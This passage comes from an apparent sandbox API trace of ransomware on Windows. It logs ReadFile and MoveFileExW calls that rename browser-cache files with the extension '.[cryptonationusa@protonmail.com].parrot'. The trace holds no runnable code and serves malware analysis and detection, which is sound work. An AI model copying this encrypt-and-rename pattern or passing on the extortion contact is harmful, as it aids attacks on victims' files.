liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.490] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x269b2, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x269b2, lpOverlapped=0x0) returned 1 [0084.499] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.504] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\css[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\css[1].txt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0084.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0084.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0084.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2242f30 | out: hHeap=0x5b0000) returned 1 [0084.581] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.581] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0084.583] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.583] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x4d5b9, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x4d5b9, lpOverlapped=0x0) returned 1 [0084.650] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.676] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\ebhtml5banner[1].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\ebhtml5banner[1].js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0084.678] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a6ee8 | out: hHeap=0x5b0000) returned 1 [0084.678] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0084.678] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0084.681] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.681] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0084.683] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.683] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x5244, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x5244, lpOverlapped=0x0) returned 1 [0084.686] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.689] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\eula-win[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\eula-win[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0084.690] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0084.690] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0084.690] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x318a060 | out: hHeap=0x5b0000) returned 1 [0084.694] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.694] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0084.697] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.698] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1303, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1303, lpOverlapped=0x0) returned 1 [0084.699] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.699] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=852361999;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=852361999[1]" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\getype=homepage;kvpg=msn%2fde-de;kvugc=0;kvmn=msndede1b;kvgrp=852361999;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=852361999[1]"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=852361999;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=852361999[1].[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\getype=homepage;kvpg=msn%2fde-de;kvugc=0;kvmn=msndede1b;kvgrp=852361999;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=852361999[1].[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 0 [0084.700] GetLastError () returned 0x3 [0084.700] GetLastError () returned 0x3 [0084.703] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.703] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0084.704] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.704] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x8c3, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x8c3, lpOverlapped=0x0) returned 1 [0084.705] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.705] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1C;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=600;grp=627518548[1]" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\getype=homepage;kvpg=msn%2fde-de;kvugc=0;kvmn=msndede1c;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=600;grp=627518548[1]"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1C;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=600;grp=627518548[1].[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\getype=homepage;kvpg=msn%2fde-de;kvugc=0;kvmn=msndede1c;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=600;grp=627518548[1].[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 0 [0084.706] GetLastError () returned 0x3 [0084.706] GetLastError () returned 0x3 [0084.707] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.707] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0084.709] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.709] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x972, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x972, lpOverlapped=0x0) returned 1 [0084.709] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.710] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1C;kvgrp=852361999;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=600;grp=852361999[1]" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\getype=homepage;kvpg=msn%2fde-de;kvugc=0;kvmn=msndede1c;kvgrp=852361999;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=600;grp=852361999[1]"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1C;kvgrp=852361999;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=600;grp=852361999[1].[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\getype=homepage;kvpg=msn%2fde-de;kvugc=0;kvmn=msndede1c;kvgrp=852361999;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=600;grp=852361999[1].[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 0 [0084.710] GetLastError () returned 0x3 [0084.710] GetLastError () returned 0x3 [0084.712] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.712] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0084.757] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.757] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1762e, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1762e, lpOverlapped=0x0) returned 1 [0084.768] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.769] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\jquery-1.11.1.min[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\jquery-1.11.1.min[1].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\jquery-1.11.1.min[1].js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\jquery-1.11.1.min[1].js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0084.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a6ee8 | out: hHeap=0x5b0000) returned 1 [0084.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0084.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a20e0 | out: hHeap=0x5b0000) returned 1 [0084.773] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.773] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0084.774] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.774] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x4b8, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x4b8, lpOverlapped=0x0) returned 1 [0084.775] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.775] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\js[1]" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\js[1]"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\js[1].[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\js[1].[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0084.777] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3183ed0 | out: hHeap=0x5b0000) returned 1 [0084.777] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0084.777] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2237058 | out: hHeap=0x5b0000) returned 1 [0084.781] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.781] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0084.782] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.782] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3c1, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x3c1, lpOverlapped=0x0) returned 1 [0084.783] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.783] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\js[2]" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\js[2]"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\js[2].[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\js[2].[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0084.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3183ed0 | out: hHeap=0x5b0000) returned 1 [0084.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0084.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2237058 | out: hHeap=0x5b0000) returned 1 [0084.786] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.787] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0084.788] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.788] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x7154, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x7154, lpOverlapped=0x0) returned 1 [0084.791] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.794] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\latest[1].eot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\latest[1].eot"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\latest[1].eot.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\latest[1].eot.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0084.795] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0084.795] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0084.795] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x318a060 | out: hHeap=0x5b0000) returned 1 [0084.797] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.797] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0084.824] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.824] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x6e9b, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x6e9b, lpOverlapped=0x0) returned 1 [0084.827] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.831] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\latest[2].eot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\latest[2].eot"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\latest[2].eot.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\latest[2].eot.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0084.832] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0084.832] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0084.832] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x318a060 | out: hHeap=0x5b0000) returned 1 [0084.837] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.837] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0084.840] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.840] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x77b3, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x77b3, lpOverlapped=0x0) returned 1 [0084.846] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.850] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\latest[3].eot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\latest[3].eot"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\latest[3].eot.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\latest[3].eot.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0084.852] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0084.852] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0084.853] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x318a060 | out: hHeap=0x5b0000) returned 1 [0084.854] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.854] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, 